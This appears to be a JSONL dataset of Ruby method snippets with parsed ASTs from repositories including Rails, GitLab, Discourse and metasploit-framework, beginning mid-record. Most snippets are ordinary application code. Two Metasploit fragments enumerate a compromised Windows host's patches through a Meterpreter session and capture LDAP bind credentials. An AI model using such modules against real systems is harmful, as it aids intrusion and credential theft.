name=\\\"submission_type\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"en\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"content_locale\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"abstract\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"abstract\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"description\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"notes\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"notes\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"image\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"image\\\"; filename=\\\"\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"additional_speaker\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"additional_speaker\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"submit_uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"bound\"]}]}]}]}]}]}]}]}","id":"57e2a617-c93b-404f-a872-2baa711d0975"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/record_accessor.rb","start_line":68,"raw_source":"def delete_nest(r)\n          if target = r.dig(*@dig_keys)\n            if target.is_a?(Array)\n              target.delete_at(@last_key)\n            else\n              target.delete(@last_key)\n            end\n          end\n        rescue\n          nil\n        end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_nest\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"dig\",{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dig_keys\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"delete_at\",{\"type\":\"ivar\",\"children\":[\"@last_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"delete\",{\"type\":\"ivar\",\"children\":[\"@last_key\"]}]}]},null]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"a3f4ce9a-bb21-4ea7-b58c-bcb196d7ff9e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/query_cache_test.rb","start_line":1058,"raw_source":"def test_insert_all_bang\n    Task.cache do\n      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do\n        Task.insert!({ starting: Time.now })\n      end\n\n      assert_called(ActiveRecord::Base.connection_pool.query_cache, :clear, times: 1) do\n        Task.insert_all!([{ starting: Time.now }])\n      end\n    end\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_insert_all_bang\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"query_cache\"]},{\"type\":\"sym\",\"children\":[\"clear\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"times\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"insert!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"starting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"query_cache\"]},{\"type\":\"sym\",\"children\":[\"clear\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"times\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"insert_all!\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"starting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]}]}]}]}]}]}","id":"9f3f8daf-4de8-43c7-9dd0-df8b64f17461"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/ref_preloader.rb","start_line":16,"raw_source":"def self.collect_ref(project_id, ref_name)\n        refs_to_preload[project_id] ||= Set.new\n        refs_to_preload[project_id] << ref_name\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"collect_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"ref_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refs_to_preload\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refs_to_preload\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"ref_name\"]}]}]}]}","id":"83532532-edce-41de-8738-92afece96c7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250409005125_add_constraints_to_work_item_custom_statuses.rb","start_line":7,"raw_source":"def up\n    add_check_constraint :work_item_custom_statuses, 'category > 0', constraint_name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"work_item_custom_statuses\"]},{\"type\":\"str\",\"children\":[\"category > 0\"]},{\"type\":\"send\",\"children\":[null,\"constraint_name\"]}]}]}","id":"7c10c46e-ada8-4644-a570-8835420b603d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_patches.rb","start_line":45,"raw_source":"def run\n    unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_WMI_QUERY)\n      fail_with(Failure::NoTarget, 'Session does not support Meterpreter ExtAPI WMI queries')\n    end\n\n    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']\n    print_status(\"Running module against #{hostname} (#{session.session_host})\")\n\n    begin\n      objects = session.extapi.wmi.query('SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering')\n    rescue RuntimeError\n      fail_with(Failure::BadConfig, 'Known bug in WMI query, try migrating to another process')\n    end\n\n    if objects.nil?\n      print_error('Could not retrieve patch information. WMI query returned no data.')\n      return\n    end\n\n    if objects[:values].blank?\n      print_status('Found no patches installed')\n      return\n    end\n\n    results = Rex::Text::Table.new(\n      'Header' => 'Installed Patches',\n      'Indent' => 2,\n      'Columns' =>\n      [\n        'HotFix ID',\n        'Install Date'\n      ]\n    )\n\n    objects[:values].compact.each do |k|\n      results << k\n    end\n\n    if results.rows.empty?\n      print_status(\"No patches were found to be installed on #{hostname} (#{session.session_host})\")\n      return\n    end\n\n    print_line\n    print_line(results.to_s)\n\n    loot_file = store_loot('enum_patches', 'text/plain', session, results.to_csv)\n    print_status(\"Patch list saved to #{loot_file}\")\n  end","complexity_score":57.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Extapi\"]},\"COMMAND_ID_EXTAPI_WMI_QUERY\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Session does not support Meterpreter ExtAPI WMI queries\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running module against \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"objects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"extapi\"]},\"wmi\"]},\"query\",{\"type\":\"str\",\"children\":[\"SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Known bug in WMI query, try migrating to another process\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not retrieve patch information. WMI query returned no data.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"values\"]}]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Found no patches installed\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Installed Patches\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HotFix ID\"]},{\"type\":\"str\",\"children\":[\"Install Date\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"values\"]}]},\"compact\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"rows\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No patches were found to be installed on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_file\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"enum_patches\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"to_csv\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Patch list saved to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_file\"]}]}]}]}]}]}","id":"1871cdfb-ccf9-48a7-9df0-3eb2a872d9ce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/ldap.rb","start_line":59,"raw_source":"def primer\n    service.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data|\n      if processed_data[:post_pdu]\n        if processed_data[:error_msg]\n          print_error(processed_data[:error_msg])\n        else\n          print_good(processed_data[:result_message])\n          report_cred(processed_data)\n        end\n      end\n    end\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"primer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"processed_pdu_handler\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"PDU\"]},\"BindRequest\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"processed_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_pdu\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_msg\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_msg\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result_message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"lvar\",\"children\":[\"processed_data\"]}]}]}]},null]}]}]}","id":"8893c691-e487-4edb-b629-c01ec319da52"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/check_line_breakable.rb","start_line":135,"raw_source":"def breakable_collection?(node, elements)\n        # For simplicity we only want to insert breaks in normal\n        # hashes wrapped in a set of curly braces like {foo: 1}.\n        # That is, not a kwargs hash. For method calls, this ensures\n        # the method call is made with parens.\n        starts_with_bracket = !node.hash_type? || node.loc.begin\n\n        # If the call has a second argument, we can insert a line\n        # break before the second argument and the rest of the\n        # argument will get auto-formatted onto separate lines\n        # by other cops.\n        has_second_element = elements.length >= 2\n\n        starts_with_bracket && has_second_element\n      end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"breakable_collection?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"elements\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"starts_with_bracket\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"hash_type?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"has_second_element\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"length\"]},\">=\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starts_with_bracket\"]},{\"type\":\"lvar\",\"children\":[\"has_second_element\"]}]}]}]}","id":"8ec062f6-d794-4295-a32b-9dfb23f8b62e"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/article_decorator.rb","start_line":116,"raw_source":"def permit_adjacent_sponsors?\n    return true unless respond_to?(:user_id) && user_id.present?\n\n    author_ids = [user_id] + co_author_ids\n    Users::Setting.where(user_id: author_ids).all?(&:permit_adjacent_sponsors)\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"permit_adjacent_sponsors?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"author_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"co_author_ids\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Setting\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"author_ids\"]}]}]}]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"permit_adjacent_sponsors\"]}]}]}]}]}","id":"4bdcef0a-7cd2-4c0e-aee1-2ec902d8887b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/storages/set_attributes_service.rb","start_line":62,"raw_source":"def unset_nextcloud_application_credentials\n      # Do not overwrite if has never been set.\n      # E.g. when setting up a new storage for the first time, passthrough, credentials are set in a later stage.\n      return if storage.automatic_management_unspecified?\n\n      unless storage.automatic_management_enabled?\n        %w[username password].each { |field| storage.provider_fields.delete(field) }\n      end\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"unset_nextcloud_application_credentials\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"automatic_management_unspecified?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"automatic_management_enabled?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"password\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"provider_fields\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]}]}","id":"9ed1a341-eaea-4f75-8076-0a4fe929681c"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":3339,"raw_source":"def query(sql, *bind_vars, db: @source_db)\n    result_set = db.prepare(sql).execute(*bind_vars)\n\n    if block_given?\n      result = yield result_set\n      result_set.close\n      result\n    else\n      result_set\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"restarg\",\"children\":[\"bind_vars\"]},{\"type\":\"kwoptarg\",\"children\":[\"db\",{\"type\":\"ivar\",\"children\":[\"@source_db\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_set\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"prepare\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},\"execute\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind_vars\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_set\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_set\"]},\"close\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"lvar\",\"children\":[\"result_set\"]}]}]}]}","id":"214a5b60-c91f-4347-b788-9b03726c3323"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/webhooks/trigger.rb","start_line":10,"raw_source":"def self.execute(url, payload, webhook_type)\n    new(url, payload, webhook_type).execute\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"webhook_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"webhook_type\"]}]},\"execute\"]}]}","id":"14dfa8ad-4ff8-4f0f-84f2-0f7f8e1179b5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/work_packages/progress/sql_commands.rb","start_line":124,"raw_source":"def drop_temporary_total_percent_complete_table\n    execute(<<~SQL.squish)\n      DROP TABLE IF EXISTS temp_wp_progress_values\n    SQL\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_temporary_total_percent_complete_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP TABLE IF EXISTS temp_wp_progress_values\\n\"]},\"squish\"]}]}]}","id":"b4470d47-a213-4258-ad2f-a5646deb6d8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/tasks/gitlab/audit_event_types/compile_docs_task.rb","start_line":13,"raw_source":"def run\n          FileUtils.mkdir_p(@event_types_dir)\n          File.write(@audit_event_types_doc_file, @event_type_erb_template.result)\n\n          puts \"Documentation compiled.\"\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"ivar\",\"children\":[\"@event_types_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"ivar\",\"children\":[\"@audit_event_types_doc_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event_type_erb_template\"]},\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Documentation compiled.\"]}]}]}]}","id":"13d61e67-3656-492d-909a-252276aa22d9"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":1191,"raw_source":"def test_recall_params_should_be_normalized\n    get :normalize_recall_params\n    assert_equal \"/url_helper_controller_test/url_helper/normalize_recall_params\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_recall_params_should_be_normalized\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"normalize_recall_params\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/url_helper_controller_test/url_helper/normalize_recall_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"d543f246-c13a-440d-a5ae-2ecc35f78472"}
